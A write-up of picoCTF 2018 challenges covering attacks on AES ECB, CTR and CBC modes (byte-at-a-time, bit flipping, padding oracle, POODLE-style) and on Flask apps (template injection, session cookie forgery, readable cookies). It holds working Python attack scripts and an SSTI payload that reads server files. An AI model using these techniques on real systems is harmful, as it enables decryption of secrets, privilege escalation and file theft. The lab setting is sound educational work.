Skip to main content

Writeup of a few picoCTF challenges

Attacks on block cipher modes of operation

SpyFi

The scenario is that we control part of plain text encrypted using AES-ECB. We have to get the secret present in a different part of the message. ECB mode encrypts each 16-byte block (AES block size) of the message independently and clubs all the outputs together to produce the final output. The problem with this mode is that if two input blocks are identical, then their corresponding cipher blocks would be identical as well. So, observing the ciphertext, we can infer some properties of the plaintext.

In the current case, the plaintext represented with one block per line is

Agent,-Greetings
. My situation r
eport is as foll
ows:-<an input t
ext in our contr
ol>-My agent ide
ntifying code is
: <secret key th
at we have to re
trieve>....

(With - representing the newlines)

Suppose we want to get just the first character of the secret. Exploiting ECB's weakness requires us to have two blocks of identical text. Consider the following scheme:

  1. We will make sure that first character of the secret key is the last byte of a block. That will require the block to be fying code is: ?.
  2. We will craft our input such that we will have fying code is: 0 as one block. If the first character of the secret is 0, then the outputs of both these blocks will be identical.
  3. If not, we will have to try a character other than 0. So we will try all 256 possible bytes and one of them will cause the outputs to match.
  4. Once we find a match, we would've found the first character of the secret key.

To have fying code is: 0 as a block in our input, we can give the following input - aaaaaaaaaaafying code is: 0. The as fill out the pending bytes in the 4th block.

Now our input is of the following form:

Agent,-Greetings
. My situation r
eport is as foll
ows:-aaaaaaaaaaa
fying code is: 0
-My agent identi
fying code is: <
secret key that
we have to retri
eve>....

So the 5th and 7th blocks differ only in the last character. Now, iterating through all the 256 bytes for the last character of the 5th block, we can find the first character. It turns out to be p.

To find the next character, remove one of the as. Input would look like:

Agent,-Greetings
. My situation r
eport is as foll
ows:-aaaaaaaaaaf
ying code is: p-
My agent identif
ying code is: p?
ecret key that
we have to retri
eve>....

Now iterate again on all 256 byte values for the last byte of the 5th block. So, for each a, we will get one character of the secret. Since the flag would be longer than just 11 characters, we need to add more as. But to not disturb the alignment, we have to add them only in multiples of 16.

Final code is:

import subprocess
import string
# We'll get the flag one char by one

# Added more 'a's just out of caution
initial = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaafying code is: &"

# The position at which the character is to be replaced
replace = 122

while True:
    # instead of checking for all 256 bytes, since we know the flag
    # structure, check only for printable characters
    for c in string.printable:
        current = initial[:replace] + c + initial[(replace + 1):]
        output = subprocess.run(["nc", "2018shell3.picoctf.com", "33893"],
                                input=bytes(current + '\n', 'utf-8'),
                                stdout = subprocess.PIPE).stdout
        output = output[56:]
        if output[10 * 32: 10 * 32 + 32] == output[18 * 32: 18 * 32 + 32]:
            print(f'Found c: {c}')
            initial = current[1:]
            break

This prints the flag one character at a time.

Flag: picoCTF{g3nt6_1$_th3_c0013$t_9121600}

eleCTRic

The situation in this challenge is - given the ability to encrypt any plaintext, come up with the ciphertext that decrypts to a target plaintext. Of course, we cannot encrypt the target plaintext. The encryption mechanism used is AES-CTR.

Unauthenticated CTR mode operation is vulnerable to bit flipping attacks. Suppose we input a plaintext \(P\). As part of encryption, it generates a random stream of bytes \(R\) and returns \(C = P \oplus R\) as the ciphertext. At this stage, using \(C\) and \(P\), we can retrieve \(R\) as \(C \oplus P\). Since the same counter and key are used everytime, the target text \(T\) will be encrypted to \(T \oplus R = T \oplus (C \oplus P)\). We know \(C\) and \(P\) and we know the target text \(T\) that we want. So we submit \(A = T \oplus R\) as our answer. This will decrypt to \(A \oplus R = (T \oplus R) \oplus R = T\) and we get the flag.

Flag: picoCTF{alw4ys_4lways_Always_check_int3grity_f3ecd90b}

Magic Padding Oracle

We are given a program that decrypts our input using AES-CBC mode. The challenge is to come up with a ciphertext that decrypts to a plaintext satisfying certain criteria. We are given a sample ciphertext \(S\).

If the ciphertext decodes to a plaintext having an invalid padding the program returns invalid padding. Using just this property, we can find the following:

  1. Find the length of padding in \(S\)
  2. Decrypt \(S\)

Using these two, we can encrypt any message.

Finding the padding length

We know the padding scheme used is the following - if the message length is short of becoming a multiple of 16 by \(x\) bytes, add \(x\) bytes of value \(x\) and if the message length is already a multiple of 16, add 16 bytes each with a value 16.

Suppose the message has the padding length \(x\) and suppose we were to change a byte in the last block of the ciphertext. If the byte was a part of the padding, then the program would reject this edited ciphertext because of invalid padding. If not, then we wouldn't get the invalid padding error. Using this, the following program finds where the padding ends.

# Return padding length in number of bytes
def find_padding_length(cipher):
    # Assuming the cipher is a byte array
    copy = cipher[:]
    # This is the index in the penultimate 'block'
    meddle_index = 0
    while meddle_index < BLOCK_SIZE:
        copy[- 2 * BLOCK_SIZE + meddle_index] ^= 0xff
        if not is_valid(copy):
            return BLOCK_SIZE - meddle_index
        meddle_index += 1
    raise Exception("find_padding_length isn't working as expected")

Decrypting \(S\)

By now, we would have found out the padding length \(p\). Since the mode of operation used is CBC, if we xor the last \(p\) bytes of last but one block with \(p \oplus (p + 1)\), then the last \(p\) bytes will be decrypted to \(p + 1\). This will make the program throw an invalid padding error unless the value of the \(p + 1\) th byte from the end of the last block is \(p + 1\).

So, if we don't get invalid padding error, then the last byte of the message has the value \(p + 1\). If we do get invalid padding error, it means that the value of the last byte is something else, say \(x\). Now we will xor the \(p + 1\) st byte from the end of the last but one block with \(i \in \{1,2,..255\}\). In every loop, the last byte of the message will be decrypted to \(x \oplus i\). One of these will have the value \(p + 1\). We can recognize when this happens because then the program wouldn't throw invalid padding error. Once we get that value of \(i\), the value of \(x\) is \(i \oplus (p + 1)\).

Similarly we can proceed to find all the bytes of the plaintext. Following is the program that implements it -

def find_plaintext(cipher, padding_length):
plain_text = []
copy =  cipher[:]
while True:
    if padding_length == BLOCK_SIZE:
        copy = cipher[:-BLOCK_SIZE]
        cipher = cipher[:-BLOCK_SIZE]
        if len(cipher) == BLOCK_SIZE:
            # This means that we have only one block left. We can't do anything with that.
            return plain_text
        padding_length = 0
    xor = padding_length ^ (padding_length + 1)
    for index in range(-(BLOCK_SIZE + padding_length), -BLOCK_SIZE):
        copy[index] ^= xor
    # Now we've to meddle with the `-padding_length - 1` byte to see what fits
    old = copy[-BLOCK_SIZE - padding_length - 1]
    for x in range(256):
        copy[-BLOCK_SIZE - padding_length - 1] = x
        if is_valid(copy):
            plain_text.insert(0, chr(old ^ x ^ (padding_length + 1)))
            print(plain_text)
            padding_length += 1
            break
    else:
        raise Exception(f"Couldn't decode byte at padding_length {padding_length}")

This returns the plaintext to be {"username": "guest", "expires": "2000-01-07", "is_admin": "false"}.

Encrypting a chosen plaintext

Now we want to encrypt the message

{"username":"a","expires":"2050-01-07","is_admin":"true"}\x07\x07\x07\x07\x07\x07\x07

(The last 7 bytes are padding).

Consider running the above find_plaintext method on a 32 zero-byte string. We would get some output of length 16. (First 16 bytes are treated as IV). Let it be \(A\). Now, if \(B\) is another 16 byte block and if we replace the first 16 bytes of the input with \(A \oplus B\), then the decrypted message would be \(B\). In other words, we have encrypted \(B\) with just decryptions!

Now, if we set \(B\) to last 16 bytes of the target message, we would have encrypted the last 16 bytes. We can similarly proceed with the preceding 16 bytes and so on till we run through the whole message. At the end of this, we would have encrypted the entire target message. Following is the code implementing this -

target = bytearray('{"username":"a","expires":"2050-01-07","is_admin":"true"}\x07\x07\x07\x07\x07\x07\x07', 'utf-8')
last_block = bytearray(16)
output = []

while target:
    d = find_plaintext(bytearray(16) + last_block, 0)
    d = map(ord, d)
    output.append(last_block)
    last_block = bytearray([x ^ y for x, y in zip(target[-16:], d)])
    target = target[:-16]
    print('Done with one block')
iv = last_block

output.reverse()

answer = binascii.hexlify(iv + b''.join(output))

Submitting the encrypted text, we get the flag picoCTF{0r4cl3s_c4n_l34k_2ea38c7d}.

James Brahms Returns

In this challenge, there are two main changes:

  • There is a MAC so any change we do to the message leads to invalid decryption
  • The messages for invalid padding and invalid decryption are same

Because of these, we cannot use any of our previous methods. But there is one more seemingly insignificant change - To remove padding from the decrypted message, only the last byte's value is checked. Suppose the last byte is 9, then last 9 bytes must have the value 9. But the program ignores the first 8 bytes and removes the 9 bytes only by reading the last byte. This facilitates an attack called Poodle Attack.

We can find the length of the secret key modulo 16 by increasing our input length one character at a time and observing when the number of blocks in ciphertext increases. The length turns out to be 29.

Suppose we arrange our inputs' lengths so that the block structure looks like the following -

Agent,-Greetings
. My situation r
eport is as foll
ows:-aaaaaaaaaaa
aaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaa
-My agent identi
fying code is: ?
????????????????
????????????.-Do
wn with the Sovi
ets,-006-aaahhhh
hhhhhhhhhhhhhhhh
pppppppppppppppp

where strings of ? represent the secret, strings of a our input, strings of h represent the MAC (160 bytes of SHA-1 hash), strings of p represent padding.

We have arranged our inputs such that

  • like in previous challenge, the first character of secret is the last byte of a block. And
  • The padding is in a separate block.

When a ciphertext is decrypted, if the MAC doesn't match the message, then decryption fails. So it is difficult to meddle with lines 1-16. This leaves the padding block. Had padding check been done rigorously, any changes to this block would have been noticed too. But since only the last byte is used, we can have anything in the last block as long as the last byte decrypts to 16.

Let's call the \(i\) th block in cipher text \(c_i\). Because the mode of operation used is CBC, \(c_i\) is decrypted - call this intermediate form \(\alpha_i\) - and xored with \(c_{i - 1}\) to produce the plaintext \(p_i\). Now imagine replacing in the ciphertext, the last block with 11th block. When the program tries to decrypt this message, if \(\alpha_{11} \oplus c_{16}\) ends with 16, then this message is accepted. But when this happens, we know that -

\begin{equation*} \alpha_{11}[-1] \oplus c_{16}[-1] = 16 \end{equation*}
\begin{equation*} \alpha_{11}[-1] = 16 \oplus c_{16}[-1] \end{equation*}
\begin{equation*} p_{11}[-1] = \alpha_{11}[-1] \oplus c_{10}[-1] = 16 \oplus c_{16}[-1] \oplus c_{10}[-1] \end{equation*}

(With \(c_{i}[-1]\) denoting the last byte of \(c_i\))

Since we know \(c_{16}\) and \(c_{10}\), we can find out the last byte of the 11th block which we arranged to be the first byte of the secret.

But all this relies on the assumption that the modified ciphertext is accepted. There is no guarantee that it will be. Luckily, everytime we run the program, it uses a new IV. So, there is a 1 in 256 chance that our message is accepted. At this probability, if we try for around 300 times, there is a 69% chance that we will hit the ciphertext satisfying our condition.

So the way to find the secret is -

  1. Give the inputs to the program so that the block structure is as described above

  2. Replace last block of ciphertext with the 11th block and pass it to the program

  3. If it is rejected, go to step 1

  4. If it is accepted, calculate the first byte of the secret as \(16 \oplus c_{16}[-1] \oplus c_{10}[-1]\) and remove one a from the first input and add one a to the second input so that the block structure now looks like

    Agent,-Greetings
    . My situation r
    eport is as foll
    ows:-aaaaaaaaaaa
    aaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaa-
    My agent identif
    ying code is: ??
    ????????????????
    ???????????.-Dow
    n with the Sovie
    ts,-006-aaaahhhh
    hhhhhhhhhhhhhhhh
    pppppppppppppppp
    

    Go to step 1 with this input structure to get the next byte of the secret.

Final code:

def get_output(f, s):
    proc = subprocess.Popen(["nc", "2018shell3.picoctf.com", "14263"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
    proc.stdin.write(b"E\n")
    proc.stdin.write(b'a' * f + b'\n')
    proc.stdin.write(b'a' * s + b'\n')
    proc.stdin.flush()
    proc.stdout.readline()
    proc.stdout.readline()
    proc.stdout.readline()
    proc.stdout.readline()
    encrypted = proc.stdout.readline().decode('utf-8').split('d: ')[1][:-1]
    proc.terminate()
    return encrypted

def process_output(o):
    # Try every output to see if anything works
    BLOCK_SIZE = 32
    s = o[:-BLOCK_SIZE] + o[BLOCK_SIZE * 10: BLOCK_SIZE * 11]
    proc = subprocess.Popen(["nc", "2018shell3.picoctf.com", "14263"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
    proc.stdin.write(b"S\n")
    proc.stdin.write(s.encode('utf-8') + b'\n')
    proc.stdin.flush()
    proc.stdout.readline()
    proc.stdout.readline()
    proc.stdout.readline()
    proc.stdout.readline()
    result = proc.stdout.readline().decode('utf-8')
    proc.terminate()
    if 'Successful decryption' in result:
        a = int(o[-BLOCK_SIZE-2:-BLOCK_SIZE], 16)
        b = int(o[10 * BLOCK_SIZE - 2: 10 * BLOCK_SIZE], 16)
        return chr(a^ b ^ 16)


findings = []
f = 68
s = 26
while True:
    while True:
        output = process_output(get_output(f, s))
        if output:
            findings.append(output)
            print(findings)
            break
    f -= 1
    s += 1

Flag: picoCTF{g0_@g3nt006!_7929452}

Attacks on Flask application

Flaskcards

The title of this challenge suggests that the program is a Flask application. Flask uses a templating engine to simplify the process of developing applications. This opens doors to Server Side Template Injection.

To verify if this is the case, input {{1 + 1}} in all the user input fields. If any of these inputs are rendered as 2, it means that someone is interpreting the user input. Using this, we observed that the Question field in Create Card page is interpreted.

Flask stores the application's configuration like SECRET_KEY, SESSION_COOKIE_NAME, etc.. in a variable named config. So, we created a card with {{config}} as the question and when this card is viewed in List Cards, it is rendered as the following:

/images/{{config}}.png

This contains the required flag picoCTF{secret_keys_to_the_kingdom_2a7bf92c}.

Flaskcards Skeleton Key

As with the previous challenge, this too is about a Flask application. This time we are given the value of SECRET_KEY. This is the key used for signing the cookies.

Log in to the given website as a normal user, copy the cookie it sets and pass it to the following program:

1
2
3
4
5
6
7
from flask import Flask, session, render_template_string
app = Flask(__name__)

app.secret_key = b'06f4eefabf03b8f4e521fbdada13f65c'
@app.route('/', methods=['POST', 'GET'])
def hello_world():
  print(session)

It printed the following:

<SecureCookieSession {'_fresh': True, '_id': 'dbfb79e930f74b46d2c526fc363e6c4b8ac189bcf2f991682e41eb49263dce1d821da1cc7006c8649727b376da1b90c7fe2e24456ae8237ca1586ae6c24a43b3', 'csrf_token': '19e7d23c0220e29b06a7da62ccbdfd5e07a85b0e', 'user_id': '7'}>

So user_id assigned to our user is 7. Since admin user is probably the first user created, it might have got user_id of 1. To verify this, edit the cookie making user_id equals 1.

1
2
3
4
5
6
7
8
from flask import Flask, session, render_template_string
app = Flask(__name__)

app.secret_key = b'06f4eefabf03b8f4e521fbdada13f65c'
@app.route('/', methods=['POST', 'GET'])
def hello_world():
    print(session)
    session['user_id'] = '1'

Since we are editing the session, when this method returns, Flask will set Set-Cookie: <new-cookie> header in its response. This is where it uses app.secret_key to sign the new cookie. Now copy the new cookie and pass it to the website. It turns out that our guess is right and we are logged in as admin! The flag is present in the Admin tab.

Flag: picoCTF{1_id_to_rule_them_all_1879a381}.

Secure Logon

We have a Flask application that sets the content in the cookie as follows -

1
2
3
4
5
6
7
8
 cookie = {}
 cookie['password'] = request.form['password']
 cookie['username'] = request.form['user']
 cookie['admin'] = 0
 print(cookie)
 cookie_data = json.dumps(cookie, sort_keys=True)
 encrypted = AESCipher(app.secret_key).encrypt(cookie_data)
 resp.set_cookie('cookie', encrypted)

Let's see how a sample plaintext cookie might look

1
2
3
4
5
6
 cookie = {}
 cookie['password'] = 'some-password'
 cookie['username'] = 'some-user'
 cookie['admin'] = 0
 cookie_data = json.dumps(cookie, sort_keys=True)
 print(cookie_data)

This prints

{"admin": 0, "password": "some-password", "user": "some-user"}

The cookie is set through resp.set_cookie and therefore is not signed by Flask. We have to edit the cookie's 11th byte to make the admin field's value 1. Since the encryption algorithm used is AES, we have to edit the first block of the plaintext. Since the mode of operation used is CBC, once the first block of ciphertext is decrypted using AES, it is XORed with IV. So if we XOR the 11th byte of the IV with a value, the 11th byte of the plaintext would be XORed with that value too. So, to get admin access, we

  1. Get a cookie
  2. XOR the 11th byte with ord(0) ^ ord(1)
  3. Pass the resulting cookie to the website

We get the admin access.

All this is possible because the value that we had to change was in the first block. This happened because json.dumps was called with sort_keys=True option.

Flag: picoCTF{fl1p_4ll_th3_bit3_7d7c2296}

Help Me Reset 2

As the question title indicates, we have to somehow reset the password of a user. We tried SQL injections but none of them worked. Some common usernames we tried didn't exist. Then we noticed the usernames in the html source as below:

/images/username.png

Trying to reset veloso's password, we are asked some security questions like favourite hero, favourite color etc.. To validate these questions, browser needs to maintain the user info in a session. It does this using cookies. Following is the a sample cookie set -

.eJw9jdEKwjAMRX9F7nMfBDcp-xUdo3ZxnauNpK1Dxv7dFsSnE3JvTjbYLEIhocOdeYTCi2Ocb57QXWCNPM1CZfsLHQkXWPYs6BVknlwaLOdqOCrkSDKMJhl0Gw6pOoKZ7UJSrvSpbXTbnBsNVbof8p7XKs1-qVJHb2FPqcyJTax8cKB4Deh3hVU4TP9f-xdFUjyd.Dq2oeg.aeuha3-7WjYqwr9ml-ruri3t4641

The cookies set by Flask are readable by anyone even without a secret key. session_cookie_decoder method in this article can be used to decode the cookie.

The above cookie decodes to:

{"current":"food","possible":["carmake","food","hero","color"],"right_count":0,"user_data":{" t":["naicker","8354854648",0,"yellow","hulk","chevrolet","toast","jones\\n"]},"wrong_count":0}

All the answers are present in the cookie! Answering the questions lets us reset the password. Then login as the user and the flag is shown -

picoCTF{i_thought_i_could_remember_those_e3063a8a}

Flaskcards & Freedom

As in Flaskcards challenge, the Question field in Create Card page is vulnerable to Server Side Template Injection. Passing {{config}} as its input, we can get the application's secret_key too. But as the question says we have to access some files stored on the server. Probably we have to access flag.txt or flag. Since anything passed in {{..}} is interpreted, we tried {{read('flag.txt')}} but this didn't work.

Apparently, Flask interprets this input in a context that cannot access global variables. So we have to read the file without accessing any global variables. With the help of This page, we built our vector. {{''.__class__.__mro__[1].__subclasses__()}} returned a huge list of classes. Of them 64th class is <class 'click.utils.LazyFile'>. We can use it to read our file. So we tried the following {{''.__class__.__mro__[1].__subclasses__()[63]('flag.txt', 'r').read()}}. It didn't work too! But then we tried changing flag.txt to flag and it worked returning the flag:

picoCTF{R_C_E_wont_let_me_be_04eedee8}